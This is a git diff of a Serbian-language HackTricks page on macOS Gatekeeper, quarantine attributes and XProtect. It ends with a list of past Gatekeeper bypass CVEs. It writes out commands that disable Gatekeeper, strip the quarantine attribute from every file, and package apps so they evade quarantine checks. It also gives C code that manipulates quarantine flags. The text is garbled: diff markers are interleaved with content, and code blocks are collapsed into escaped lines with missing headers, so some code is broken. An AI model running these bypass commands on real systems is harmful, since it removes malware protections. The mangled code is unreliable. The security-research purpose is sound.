zip -r protected.zip protected ._protected
|
zip -r protected.zip protected ._protected
|
||||||
rm -rf protected
|
rm -rf protected
|
||||||
rm ._*
|
rm ._*
|
||||||
```
|
````
|
||||||
{% endcode %}
|
|
||||||
```bash
|
|
||||||
# Check if it worked
|
|
||||||
ditto -x -k --rsrc protected.zip .
|
|
||||||
xattr -l protected
|
|
||||||
```
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\`
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
|
||||||
|
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS Gatekeeper / Karantin / XProtect
|
# macOS Gatekeeper / Quarantine / XProtect
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -39,6 +39,7 @@ Počevši od macOS Catalina, **Gatekeeper takođe proverava da li je aplikacija
|
||||||
#### Provera potpisa
|
#### Provera potpisa
|
||||||
|
|
||||||
Kada proveravate neki **uzorak zlonamernog softvera**, uvek biste trebali **proveriti potpis** binarnog koda, jer se **razvijac** koji ga je potpisao može već **povezivati** sa **zlonamernim softverom**.
|
Kada proveravate neki **uzorak zlonamernog softvera**, uvek biste trebali **proveriti potpis** binarnog koda, jer se **razvijac** koji ga je potpisao može već **povezivati** sa **zlonamernim softverom**.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Get signer
|
# Get signer
|
||||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||||
|
@ -55,6 +56,7 @@ spctl --assess --verbose /Applications/Safari.app
|
||||||
# Sign a binary
|
# Sign a binary
|
||||||
codesign -s <cert-name-keychain> toolsdemo
|
codesign -s <cert-name-keychain> toolsdemo
|
||||||
```
|
```
|
||||||
|
|
||||||
### Notarizacija
|
### Notarizacija
|
||||||
|
|
||||||
Apple-ov proces notarizacije služi kao dodatna zaštita korisnika od potencijalno štetnog softvera. Uključuje **razvojničko podnošenje njihove aplikacije na pregled** od strane **Apple-ove Notary usluge**, koja se ne sme mešati sa pregledom aplikacija. Ova usluga je **automatizovani sistem** koji detaljno pregleda podneti softver u potrazi za **zlonamernim sadržajem** i mogućim problemima sa potpisivanjem koda.
|
Apple-ov proces notarizacije služi kao dodatna zaštita korisnika od potencijalno štetnog softvera. Uključuje **razvojničko podnošenje njihove aplikacije na pregled** od strane **Apple-ove Notary usluge**, koja se ne sme mešati sa pregledom aplikacija. Ova usluga je **automatizovani sistem** koji detaljno pregleda podneti softver u potrazi za **zlonamernim sadržajem** i mogućim problemima sa potpisivanjem koda.
|
||||||
|
@ -68,10 +70,12 @@ Prilikom prvog instaliranja ili pokretanja softvera od strane korisnika, postoja
|
||||||
GateKeeper je i **nekoliko komponenti za bezbednost** koje sprečavaju izvršavanje nepouzdanih aplikacija i takođe **jedna od tih komponenti**.
|
GateKeeper je i **nekoliko komponenti za bezbednost** koje sprečavaju izvršavanje nepouzdanih aplikacija i takođe **jedna od tih komponenti**.
|
||||||
|
|
||||||
Moguće je videti **status** GateKeeper-a pomoću:
|
Moguće je videti **status** GateKeeper-a pomoću:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Check the status
|
# Check the status
|
||||||
spctl --status
|
spctl --status
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Napomena da se provjere potpisa GateKeeper-a vrše samo nad **datotekama sa karantenskim atributom**, a ne nad svakom datotekom.
|
Napomena da se provjere potpisa GateKeeper-a vrše samo nad **datotekama sa karantenskim atributom**, a ne nad svakom datotekom.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -81,6 +85,7 @@ GateKeeper će provjeriti da li se prema **postavkama i potpisu** može izvršit
|
||||||
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Baza podataka koja čuva ovu konfiguraciju nalazi se u **`/var/db/SystemPolicy`**. Možete provjeriti ovu bazu podataka kao root korisnik koristeći:
|
Baza podataka koja čuva ovu konfiguraciju nalazi se u **`/var/db/SystemPolicy`**. Možete provjeriti ovu bazu podataka kao root korisnik koristeći:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Open database
|
# Open database
|
||||||
sqlite3 /var/db/SystemPolicy
|
sqlite3 /var/db/SystemPolicy
|
||||||
|
@ -94,10 +99,12 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
||||||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
Primetite kako se pravilo završava sa "**App Store**", a drugo sa "**Developer ID**", i da je u prethodnoj slici omogućeno izvršavanje aplikacija sa App Store-a i identifikovanih programera.\
|
Primetite kako se pravilo završava sa "**App Store**", a drugo sa "**Developer ID**", i da je u prethodnoj slici omogućeno izvršavanje aplikacija sa App Store-a i identifikovanih programera.\
|
||||||
Ako **izmenite** tu postavku na App Store, pravila za "**Notarized Developer ID**" će nestati.
|
Ako **izmenite** tu postavku na App Store, pravila za "**Notarized Developer ID**" će nestati.
|
||||||
|
|
||||||
Takođe postoje hiljade pravila tipa GKE:
|
Takođe postoje hiljade pravila tipa GKE:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
||||||
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
||||||
|
@ -106,13 +113,17 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
|
||||||
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
||||||
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||||
```
|
```
|
||||||
|
|
||||||
Ovo su heševi koji potiču iz **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** i **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
|
Ovo su heševi koji potiču iz **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** i **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
|
||||||
|
|
||||||
Ili možete navesti prethodne informacije sa:
|
Ili možete navesti prethodne informacije sa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo spctl --list
|
sudo spctl --list
|
||||||
```
|
```
|
||||||
|
|
||||||
Opcije **`--master-disable`** i **`--global-disable`** alata **`spctl`** će potpuno **onemogućiti** ove provere potpisa:
|
Opcije **`--master-disable`** i **`--global-disable`** alata **`spctl`** će potpuno **onemogućiti** ove provere potpisa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Disable GateKeeper
|
# Disable GateKeeper
|
||||||
spctl --global-disable
|
spctl --global-disable
|
||||||
|
@ -122,15 +133,19 @@ spctl --master-disable
|
||||||
spctl --global-enable
|
spctl --global-enable
|
||||||
spctl --master-enable
|
spctl --master-enable
|
||||||
```
|
```
|
||||||
|
|
||||||
Kada je potpuno omogućeno, pojaviće se nova opcija:
|
Kada je potpuno omogućeno, pojaviće se nova opcija:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Moguće je **proveriti da li će aplikacija biti dozvoljena od strane GateKeeper-a** pomoću:
|
Moguće je **proveriti da li će aplikacija biti dozvoljena od strane GateKeeper-a** pomoću:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
spctl --assess -v /Applications/App.app
|
spctl --assess -v /Applications/App.app
|
||||||
```
|
```
|
||||||
|
|
||||||
Moguće je dodati nove pravila u GateKeeper kako bi se omogućilo izvršavanje određenih aplikacija sa:
|
Moguće je dodati nove pravila u GateKeeper kako bi se omogućilo izvršavanje određenih aplikacija sa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Check if allowed - nop
|
# Check if allowed - nop
|
||||||
spctl --assess -v /Applications/App.app
|
spctl --assess -v /Applications/App.app
|
||||||
|
@ -145,6 +160,7 @@ sudo spctl --enable --label "whitelist"
|
||||||
spctl --assess -v /Applications/App.app
|
spctl --assess -v /Applications/App.app
|
||||||
/Applications/App.app: accepted
|
/Applications/App.app: accepted
|
||||||
```
|
```
|
||||||
|
|
||||||
### Karantin fajlovi
|
### Karantin fajlovi
|
||||||
|
|
||||||
Prilikom **preuzimanja** aplikacije ili fajla, određene macOS **aplikacije** kao što su web pregledači ili email klijenti **dodaju prošireni atribut fajla**, poznat kao "**karantin oznaka**", preuzetom fajlu. Ovaj atribut služi kao sigurnosna mera koja označava fajl kao dolazeći sa nepouzdanih izvora (internet) i potencijalno nosi rizike. Međutim, ne sve aplikacije dodaju ovaj atribut, na primer, uobičajeni BitTorrent klijenti obično zaobilaze ovaj proces.
|
Prilikom **preuzimanja** aplikacije ili fajla, određene macOS **aplikacije** kao što su web pregledači ili email klijenti **dodaju prošireni atribut fajla**, poznat kao "**karantin oznaka**", preuzetom fajlu. Ovaj atribut služi kao sigurnosna mera koja označava fajl kao dolazeći sa nepouzdanih izvora (internet) i potencijalno nosi rizike. Međutim, ne sve aplikacije dodaju ovaj atribut, na primer, uobičajeni BitTorrent klijenti obično zaobilaze ovaj proces.
|
||||||
|
@ -166,6 +182,7 @@ Međutim, fajlovi koji su sandbox-ovani će imati ovaj atribut postavljen za sva
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Moguće je **proveriti njegov status i omogućiti/onemogućiti** (potreban je root pristup) sa:
|
Moguće je **proveriti njegov status i omogućiti/onemogućiti** (potreban je root pristup) sa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
spctl --status
|
spctl --status
|
||||||
assessments enabled
|
assessments enabled
|
||||||
|
@ -174,13 +191,17 @@ spctl --enable
|
||||||
spctl --disable
|
spctl --disable
|
||||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||||
```
|
```
|
||||||
|
|
||||||
Takođe možete **pronaći da li datoteka ima prošireni atribut karantina** pomoću:
|
Takođe možete **pronaći da li datoteka ima prošireni atribut karantina** pomoću:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
xattr file.png
|
xattr file.png
|
||||||
com.apple.macl
|
com.apple.macl
|
||||||
com.apple.quarantine
|
com.apple.quarantine
|
||||||
```
|
```
|
||||||
|
|
||||||
Proverite **vrednost** **proširenih** **atributa** i saznajte koja je aplikacija napisala karantinski atribut pomoću:
|
Proverite **vrednost** **proširenih** **atributa** i saznajte koja je aplikacija napisala karantinski atribut pomoću:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
xattr -l portada.png
|
xattr -l portada.png
|
||||||
com.apple.macl:
|
com.apple.macl:
|
||||||
|
@ -196,70 +217,34 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
||||||
# Brave -- App
|
# Brave -- App
|
||||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||||
```
|
```
|
||||||
Zapravo, proces "može postaviti karantinske oznake na datoteke koje kreira" (pokušao sam primeniti oznaku USER_APPROVED na kreiranu datoteku, ali nije je primenio):
|
|
||||||
|
Zapravo, proces "može postaviti karantinske oznake na datoteke koje kreira" (pokušao sam primeniti oznaku USER\_APPROVED na kreiranu datoteku, ali nije je primenio):
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Izvorni kod primene karantinskih oznaka</summary>
|
<summary>Izvorni kod primene karantinskih oznaka</summary>
|
||||||
```c
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
enum qtn_flags {
|
\`\`\`c #include #include
|
||||||
QTN_FLAG_DOWNLOAD = 0x0001,
|
|
||||||
QTN_FLAG_SANDBOX = 0x0002,
|
|
||||||
QTN_FLAG_HARD = 0x0004,
|
|
||||||
QTN_FLAG_USER_APPROVED = 0x0040,
|
|
||||||
};
|
|
||||||
|
|
||||||
#define qtn_proc_alloc _qtn_proc_alloc
|
enum qtn\_flags { QTN\_FLAG\_DOWNLOAD = 0x0001, QTN\_FLAG\_SANDBOX = 0x0002, QTN\_FLAG\_HARD = 0x0004, QTN\_FLAG\_USER\_APPROVED = 0x0040, };
|
||||||
#define qtn_proc_apply_to_self _qtn_proc_apply_to_self
|
|
||||||
#define qtn_proc_free _qtn_proc_free
|
|
||||||
#define qtn_proc_init _qtn_proc_init
|
|
||||||
#define qtn_proc_init_with_self _qtn_proc_init_with_self
|
|
||||||
#define qtn_proc_set_flags _qtn_proc_set_flags
|
|
||||||
#define qtn_file_alloc _qtn_file_alloc
|
|
||||||
#define qtn_file_init_with_path _qtn_file_init_with_path
|
|
||||||
#define qtn_file_free _qtn_file_free
|
|
||||||
#define qtn_file_apply_to_path _qtn_file_apply_to_path
|
|
||||||
#define qtn_file_set_flags _qtn_file_set_flags
|
|
||||||
#define qtn_file_get_flags _qtn_file_get_flags
|
|
||||||
#define qtn_proc_set_identifier _qtn_proc_set_identifier
|
|
||||||
|
|
||||||
typedef struct _qtn_proc *qtn_proc_t;
|
\#define qtn\_proc\_alloc \_qtn\_proc\_alloc #define qtn\_proc\_apply\_to\_self \_qtn\_proc\_apply\_to\_self #define qtn\_proc\_free \_qtn\_proc\_free #define qtn\_proc\_init \_qtn\_proc\_init #define qtn\_proc\_init\_with\_self \_qtn\_proc\_init\_with\_self #define qtn\_proc\_set\_flags \_qtn\_proc\_set\_flags #define qtn\_file\_alloc \_qtn\_file\_alloc #define qtn\_file\_init\_with\_path \_qtn\_file\_init\_with\_path #define qtn\_file\_free \_qtn\_file\_free #define qtn\_file\_apply\_to\_path \_qtn\_file\_apply\_to\_path #define qtn\_file\_set\_flags \_qtn\_file\_set\_flags #define qtn\_file\_get\_flags \_qtn\_file\_get\_flags #define qtn\_proc\_set\_identifier \_qtn\_proc\_set\_identifier
|
||||||
typedef struct _qtn_file *qtn_file_t;
|
|
||||||
|
|
||||||
int qtn_proc_apply_to_self(qtn_proc_t);
|
typedef struct \_qtn\_proc \*qtn\_proc\_t; typedef struct \_qtn\_file \*qtn\_file\_t;
|
||||||
void qtn_proc_init(qtn_proc_t);
|
|
||||||
int qtn_proc_init_with_self(qtn_proc_t);
|
int qtn\_proc\_apply\_to\_self(qtn\_proc\_t); void qtn\_proc\_init(qtn\_proc\_t); int qtn\_proc\_init\_with\_self(qtn\_proc\_t); int qtn\_proc\_set\_flags(qtn\_proc\_t, uint32\_t flags); qtn\_proc\_t qtn\_proc\_alloc(); void qtn\_proc\_free(qtn\_proc\_t); qtn\_file\_t qtn\_file\_alloc(void); void qtn\_file\_free(qtn\_file\_t qf); int qtn\_file\_set\_flags(qtn\_file\_t qf, uint32\_t flags); uint32\_t qtn\_file\_get\_flags(qtn\_file\_t qf); int qtn\_file\_apply\_to\_path(qtn\_file\_t qf, const char \*path); int qtn\_file\_init\_with\_path(qtn\_file\_t qf, const char _path); int qtn\_proc\_set\_identifier(qtn\_proc\_t qp, const char_ bundleid);
|
||||||
int qtn_proc_set_flags(qtn_proc_t, uint32_t flags);
|
|
||||||
qtn_proc_t qtn_proc_alloc();
|
|
||||||
void qtn_proc_free(qtn_proc_t);
|
|
||||||
qtn_file_t qtn_file_alloc(void);
|
|
||||||
void qtn_file_free(qtn_file_t qf);
|
|
||||||
int qtn_file_set_flags(qtn_file_t qf, uint32_t flags);
|
|
||||||
uint32_t qtn_file_get_flags(qtn_file_t qf);
|
|
||||||
int qtn_file_apply_to_path(qtn_file_t qf, const char *path);
|
|
||||||
int qtn_file_init_with_path(qtn_file_t qf, const char *path);
|
|
||||||
int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid);
|
|
||||||
|
|
||||||
int main() {
|
int main() {
|
||||||
|
|
||||||
qtn_proc_t qp = qtn_proc_alloc();
|
qtn\_proc\_t qp = qtn\_proc\_alloc(); qtn\_proc\_set\_identifier(qp, "xyz.hacktricks.qa"); qtn\_proc\_set\_flags(qp, QTN\_FLAG\_DOWNLOAD | QTN\_FLAG\_USER\_APPROVED); qtn\_proc\_apply\_to\_self(qp); qtn\_proc\_free(qp);
|
||||||
qtn_proc_set_identifier(qp, "xyz.hacktricks.qa");
|
|
||||||
qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);
|
|
||||||
qtn_proc_apply_to_self(qp);
|
|
||||||
qtn_proc_free(qp);
|
|
||||||
|
|
||||||
FILE *fp;
|
FILE \*fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp);
|
||||||
fp = fopen("thisisquarantined.txt", "w+");
|
|
||||||
fprintf(fp, "Hello Quarantine\n");
|
|
||||||
fclose(fp);
|
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
|
|
||||||
}
|
}
|
||||||
```
|
|
||||||
|
````
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
I uklonite taj atribut sa:
|
I uklonite taj atribut sa:
|
||||||
|
@ -267,7 +252,8 @@ I uklonite taj atribut sa:
|
||||||
xattr -d com.apple.quarantine portada.png
|
xattr -d com.apple.quarantine portada.png
|
||||||
#You can also remove this attribute from every file with
|
#You can also remove this attribute from every file with
|
||||||
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||||
```
|
````
|
||||||
|
|
||||||
I pronađite sve karantinovane datoteke sa:
|
I pronađite sve karantinovane datoteke sa:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
@ -278,11 +264,11 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
|
||||||
|
|
||||||
Informacije o karantinu takođe se čuvaju u centralnoj bazi podataka koju upravlja LaunchServices u **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**.
|
Informacije o karantinu takođe se čuvaju u centralnoj bazi podataka koju upravlja LaunchServices u **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**.
|
||||||
|
|
||||||
#### **Quarantine.kext**
|
**Quarantine.kext**
|
||||||
|
|
||||||
Kernel ekstenzija je dostupna samo putem **kernel keša na sistemu**; međutim, _možete_ preuzeti **Kernel Debug Kit sa https://developer.apple.com/**, koji će sadržati simbolizovanu verziju ekstenzije.
|
Kernel ekstenzija je dostupna samo putem **kernel keša na sistemu**; međutim, _možete_ preuzeti **Kernel Debug Kit sa https://developer.apple.com/**, koji će sadržati simbolizovanu verziju ekstenzije.
|
||||||
|
|
||||||
### XProtect
|
#### XProtect
|
||||||
|
|
||||||
XProtect je ugrađena funkcija **anti-malware** u macOS-u. XProtect **proverava svaku aplikaciju kada se prvi put pokrene ili izmeni u odnosu na svoju bazu podataka** poznatih malvera i nesigurnih tipova fajlova. Kada preuzmete fajl putem određenih aplikacija, kao što su Safari, Mail ili Messages, XProtect automatski skenira fajl. Ako se poklapa sa nekim poznatim malverom u svojoj bazi podataka, XProtect će **sprečiti pokretanje fajla** i upozoriti vas na pretnju.
|
XProtect je ugrađena funkcija **anti-malware** u macOS-u. XProtect **proverava svaku aplikaciju kada se prvi put pokrene ili izmeni u odnosu na svoju bazu podataka** poznatih malvera i nesigurnih tipova fajlova. Kada preuzmete fajl putem određenih aplikacija, kao što su Safari, Mail ili Messages, XProtect automatski skenira fajl. Ako se poklapa sa nekim poznatim malverom u svojoj bazi podataka, XProtect će **sprečiti pokretanje fajla** i upozoriti vas na pretnju.
|
||||||
|
|
||||||
|
@ -307,27 +293,25 @@ XProtect se nalazi na SIP zaštićenoj lokaciji na **/Library/Apple/System/Libra
|
||||||
|
|
||||||
Napomena da postoji još jedna aplikacija u **`/Library/Apple/System/Library/CoreServices/XProtect.app`** koja je povezana sa XProtect-om, ali nije uključena u Gatekeeper proces.
|
Napomena da postoji još jedna aplikacija u **`/Library/Apple/System/Library/CoreServices/XProtect.app`** koja je povezana sa XProtect-om, ali nije uključena u Gatekeeper proces.
|
||||||
|
|
||||||
### Ne Gatekeeper
|
#### Ne Gatekeeper
|
||||||
|
|
||||||
{% hint style="danger" %}
|
|
||||||
Imajte na umu da Gatekeeper **se ne izvršava svaki put** kada pokrenete aplikaciju, samo će _**AppleMobileFileIntegrity**_ (AMFI) **proveriti potpise izvršnog koda** kada pokrenete aplikaciju koja je već pokrenuta i proverena od strane Gatekeeper-a.
|
Imajte na umu da Gatekeeper **se ne izvršava svaki put** kada pokrenete aplikaciju, samo će _**AppleMobileFileIntegrity**_ (AMFI) **proveriti potpise izvršnog koda** kada pokrenete aplikaciju koja je već pokrenuta i proverena od strane Gatekeeper-a.
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
Prethodno je bilo moguće pokrenuti aplikaciju da bi se keširala sa Gatekeeper-om, a zatim **izmeniti neizvršne fajlove aplikacije** (poput Electron asar ili NIB fajlova) i ako nisu postojale druge zaštite, aplikacija bi bila **izvršena** sa **zlonamernim** dodacima.
|
Prethodno je bilo moguće pokrenuti aplikaciju da bi se keširala sa Gatekeeper-om, a zatim **izmeniti neizvršne fajlove aplikacije** (poput Electron asar ili NIB fajlova) i ako nisu postojale druge zaštite, aplikacija bi bila **izvršena** sa **zlonamernim** dodacima.
|
||||||
|
|
||||||
Međutim, sada to nije moguće jer macOS **sprečava izmenu fajlova** unutar paketa aplikacija. Dakle, ako pokušate napad [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), primetićete da više nije moguće zloupotrebiti ga jer nakon pokretanja aplikacije da biste je keširali sa Gatekeeper-om, nećete moći da izmenite paket. Ako, na primer, promenite ime direktorijuma Contents u NotCon (kako je naznačeno u eksploitu) i zatim pokrenete glavni binarni fajl aplikacije da biste je keširali sa Gatekeeper-om, izazvaće grešku i neće se izvršiti.
|
Međutim, sada to nije moguće jer macOS **sprečava izmenu fajlova** unutar paketa aplikacija. Dakle, ako pokušate napad [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), primetićete da više nije moguće zloupotrebiti ga jer nakon pokretanja aplikacije da biste je keširali sa Gatekeeper-om, nećete moći da izmenite paket. Ako, na primer, promenite ime direktorijuma Contents u NotCon (kako je naznačeno u eksploitu) i zatim pokrenete glavni binarni fajl aplikacije da biste je keširali sa Gatekeeper-om, izazvaće grešku i neće se izvršiti.
|
||||||
|
|
||||||
## Bypass-ovi Gatekeeper-a
|
### Bypass-ovi Gatekeeper-a
|
||||||
|
|
||||||
Svaki način zaobilaženja Gatekeeper-a (uspevajući da naterate korisnika da preuzme nešto i izvrši ga kada bi Gatekeeper trebao da to zabrani) smatra se ranjivošću u macOS-u. Ovo su neki CVE-ovi dodeljeni tehnikama koje su u prošlosti omogućavale zaobilaženje Gatekeeper-a:
|
Svaki način zaobilaženja Gatekeeper-a (uspevajući da naterate korisnika da preuzme nešto i izvrši ga kada bi Gatekeeper trebao da to zabrani) smatra se ranjivošću u macOS-u. Ovo su neki CVE-ovi dodeljeni tehnikama koje su u prošlosti omogućavale zaobilaženje Gatekeeper-a:
|
||||||
|
|
||||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
#### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||||
|
|
||||||
Primećeno je da ako se koristi **Archive Utility** za ekstrakciju, fajlovi sa **putanjama dužim od 886 karaktera** ne dobijaju prošireni atribut com.apple.quarantine. Ova situacija nenamerno omogućava tim fajlovima da **zaobiđu sigurnosne provere Gatekeeper-a**.
|
Primećeno je da ako se koristi **Archive Utility** za ekstrakciju, fajlovi sa **putanjama dužim od 886 karaktera** ne dobijaju prošireni atribut com.apple.quarantine. Ova situacija nenamerno omogućava tim fajlovima da **zaobiđu sigurnosne provere Gatekeeper-a**.
|
||||||
|
|
||||||
Pogledajte [**originalni izveštaj**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) za više informacija.
|
Pogledajte [**originalni izveštaj**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) za više informacija.
|
||||||
|
|
||||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
#### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||||
|
|
||||||
Kada se aplikacija kreira sa **Automator-om**, informacije o tome šta je potrebno za njeno izvršavanje nalaze se u `application.app/Contents/document.wflow`, a ne u izvršnom fajlu. Izvršni fajl je samo generički Automator binarni fajl nazvan **Automator Application Stub**.
|
Kada se aplikacija kreira sa **Automator-om**, informacije o tome šta je potrebno za njeno izvršavanje nalaze se u `application.app/Contents/document.wflow`, a ne u izvršnom fajlu. Izvršni fajl je samo generički Automator binarni fajl nazvan **Automator Application Stub**.
|
||||||
|
|
||||||
|
@ -337,31 +321,37 @@ Primer očekivane lokacije: `/System/Library/CoreServices/Automator\ Application
|
||||||
|
|
||||||
Pogledajte [**originalni izveštaj**](https://ronmasas.com/posts/bypass-macos-gatekeeper) za više informacija.
|
Pogledajte [**originalni izveštaj**](https://ronmasas.com/posts/bypass-macos-gatekeeper) za više informacija.
|
||||||
|
|
||||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
#### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||||
|
|
||||||
U ovom zaobilaženju je kreiran zip fajl sa aplikacijom koji počinje sa kompresijom od `application.app/Contents`, umesto od `application.app`. Stoga je **karantinski atribut** primenjen na sve **fajlove iz `application.app/Contents`**, ali **ne na `application.app`**, što je Gatekeeper proveravao, pa je Gatekeeper zaobiđen jer kada je `application.app` pokrenut, **nije imao karantinski atribut**.
|
U ovom zaobilaženju je kreiran zip fajl sa aplikacijom koji počinje sa kompresijom od `application.app/Contents`, umesto od `application.app`. Stoga je **karantinski atribut** primenjen na sve **fajlove iz `application.app/Contents`**, ali **ne na `application.app`**, što je Gatekeeper proveravao, pa je Gatekeeper zaobiđen jer kada je `application.app` pokrenut, **nije imao karantinski atribut**.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
zip -r test.app/Contents test.zip
|
zip -r test.app/Contents test.zip
|
||||||
```
|
```
|
||||||
|
|
||||||
Proverite [**originalni izveštaj**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) za više informacija.
|
Proverite [**originalni izveštaj**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) za više informacija.
|
||||||
|
|
||||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
#### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||||
|
|
||||||
Čak i ako su komponente različite, iskorišćavanje ove ranjivosti je vrlo slično prethodnoj. U ovom slučaju ćemo generisati Apple arhiv iz **`application.app/Contents`** tako da **`application.app` neće dobiti karantinski atribut** kada se dekompresuje pomoću **Archive Utility**.
|
